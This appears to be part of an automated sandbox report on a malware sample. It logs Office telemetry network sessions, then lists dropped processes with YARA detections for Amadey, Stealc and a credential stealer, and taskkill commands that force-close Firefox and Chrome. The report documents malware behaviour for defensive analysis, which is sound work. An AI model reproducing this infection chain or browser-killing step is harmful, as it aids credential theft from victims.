2024-11-23 20:16:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:29 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201629Z-178bfbc474bvjk8shC1NYC83ns00000004u0000000008q1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:29 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:30 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:30 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201630Z-178bfbc474bmqmgjhC1NYCy16c000000052000000000726n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:30 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:30 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:31 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 9403c66c-f01e-0052-600e-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201631Z-178bfbc474bxkclvhC1NYC69g400000004u000000000gwmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:31 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:30 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201631Z-178bfbc474bgvl54hC1NYCsfuw0000000510000000001cse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:31 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cd486f0a-401e-0048-5b49-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201631Z-15b8b599d88s6mj9hC1TEBur30000000038g000000007nfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:31 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:32 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 9616670f-801e-008c-16a7-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201632Z-15b8b599d885ffrhhC1TEBtuv000000003bg00000000q6e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:32 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:32 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:33 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8c2dcc7a-801e-0035-158c-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201633Z-174c587ffdf9xbcchC1TEBxkz4000000035000000000q8vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:33 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49956	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:16:33 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:16:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:16:33 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201633Z-178bfbc474bh5zbqhC1NYCkdug00000004z0000000002a9r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:16:33 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	15:14:05
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\2fQ8fpTWAP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2fQ8fpTWAP.exe"
Imagebase:	0x5c0000
File size:	1'887'744 bytes
MD5 hash:	72683BF9C6F350A7AF5D18A98462FCDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1443898887.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1484037273.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:14:09
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x3f0000
File size:	1'887'744 bytes
MD5 hash:	72683BF9C6F350A7AF5D18A98462FCDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1523091105.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1482818635.0000000005140000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:14:10
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'887'744 bytes
MD5 hash:	72683BF9C6F350A7AF5D18A98462FCDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.1532319346.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1492066593.00000000050B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:15:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3f0000
File size:	1'887'744 bytes
MD5 hash:	72683BF9C6F350A7AF5D18A98462FCDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.1985177506.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:15:14
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"
Imagebase:	0x8d0000
File size:	1'866'752 bytes
MD5 hash:	5E73B0576450ED5FFD50F136A205A42E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2216205547.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2187778263.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2163858876.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2164221941.000000000117A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:15:23
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe"
Imagebase:	0xaa0000
File size:	1'787'392 bytes
MD5 hash:	925D775A24989DA8E83CABCD00FDE1D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2212530060.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2253374920.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:15:29
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe"
Imagebase:	0x8d0000
File size:	1'866'752 bytes
MD5 hash:	5E73B0576450ED5FFD50F136A205A42E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2363128747.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2402388484.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2326994165.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2429429740.0000000000700000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2321812424.0000000000716000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2321730162.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:15:31
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe"
Imagebase:	0xbd0000
File size:	922'624 bytes
MD5 hash:	09061FE9B6D117A3D40497832BFE6F3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:15:31
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:15:31
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4f0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:15:34
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
